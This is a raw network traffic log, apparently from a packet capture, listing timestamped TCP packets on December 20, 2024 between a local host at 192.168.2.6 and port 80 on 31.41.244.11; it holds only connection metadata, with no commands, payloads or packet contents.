Dec 20, 2024 21:13:14.053828955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.053982973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.054346085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.054450989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.054625988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.054637909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.054768085 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.055630922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.055675030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.055712938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.055845976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.056587934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.056708097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.057224989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.057326078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.057358980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.057370901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.057424068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.057424068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.058240891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.058352947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.058516026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.058649063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.059107065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.059118986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.059334993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.059992075 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.060184956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.060386896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.060462952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.060749054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.060760021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.060957909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.061655998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.061764002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.061829090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.061908960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.062546015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.062638044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.063338041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.063440084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.063455105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.063465118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.063591957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.064378023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.064563990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.064640999 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.064713955 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.065243959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.065301895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.065943956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.066029072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.066268921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.066279888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.066401958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.067141056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.067260981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.067575932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.067740917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.068144083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.068242073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.068300009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.068387985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.069024086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.069205999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.069283009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.069348097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.069900990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.069993973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.070225954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.070312023 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.070769072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.070832968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.071358919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.071568012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.071616888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.071628094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.071707010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.071707010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.072417021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.072510004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.072906017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.073036909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.073227882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.073240042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.073338032 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.073972940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.074141979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.074239969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.074367046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.074819088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.074836969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.074882984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.074882984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.075613976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.075741053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.075769901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.075824022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.076448917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.076579094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.076719046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.076956034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.077276945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.077363968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.077744007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.077811003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.078223944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.078236103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.078330994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.225394964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.225585938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.225682020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.225739956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.225755930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.225843906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.225843906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.226449966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.226582050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.226696968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.227253914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.227411032 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.228008032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.228147984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.228180885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.228364944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.228653908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.228904963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.229152918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.229275942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.229392052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.229907036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.230019093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.230118036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.230138063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.230845928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.230942965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.231117010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.231236935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.231715918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.231731892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.231832027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.232556105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.232572079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.232666016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.232666969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.233365059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.233861923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.233928919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.234215021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.234664917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.234694004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.234983921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.235126019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.235291958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.236006021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.236021996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.236072063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.236129999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.236150026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.236994982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.237093925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.237200975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.237256050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.237756968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.237864017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.237921953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.238327980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.238653898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.238806009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.238892078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.239542007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.239558935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.239628077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.239728928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.240361929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.240606070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.240658045 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.240937948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.241931915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.242134094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.242162943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.242178917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.242271900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.242292881 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.242321968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.242841005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.243021965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.243309975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.243521929 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.243900061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.244046926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.244141102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.244313002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.244725943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.244831085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.244918108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.245644093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.245760918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.246041059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.246510029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.246526003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.246611118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.246613026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.247319937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.247500896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.248033047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.248126030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.248172998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.248188972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.248235941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.248236895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.249078035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.249136925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.249172926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.249298096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.249963045 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.249980927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.250159979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.250771046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.251096010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.251261950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.251701117 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.251718044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.251776934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.251776934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.251776934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.252543926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.252783060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.252825975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.252932072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.253391027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.253607035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.253901005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.254367113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.254451036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.254498005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.255053997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.255100012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.255239964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.255345106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.255562067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.256036997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.256179094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.256582975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.256963968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.256983995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.257020950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.257103920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.257772923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.257842064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.258595943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.258613110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.259041071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.259394884 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.259459972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.259532928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.259547949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.259596109 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.259680033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.260473967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.260492086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.260615110 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.261405945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.261420965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.262306929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.262325048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.262339115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.262339115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.262367964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.262586117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.263015032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.263273001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.263356924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.263812065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.264662027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.264785051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.264801025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.264846087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.264941931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.264959097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.265130997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.265815020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.265836000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.266019106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.266576052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.266597033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.266710997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.266710997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.267375946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.267932892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.267968893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.268270016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.268286943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.268309116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.268366098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.269108057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.269331932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.269356012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.269421101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.270108938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.270258904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.270277977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.270401001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.271076918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.271641016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.417596102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.417850018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.417911053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.417929888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.417979002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.417979002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.418081999 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.418232918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.418941975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.418992043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.419161081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.419234991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.419954062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.420031071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.420110941 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.420183897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.420589924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.420645952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.421380043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.421443939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.421461105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.421472073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.421503067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.421503067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.422290087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.422481060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.422698021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.422791004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.423150063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.423166990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.423207045 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.423232079 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.424040079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.424093008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.424175024 CET	80	49849	31.41.244.11	192.168.2.6
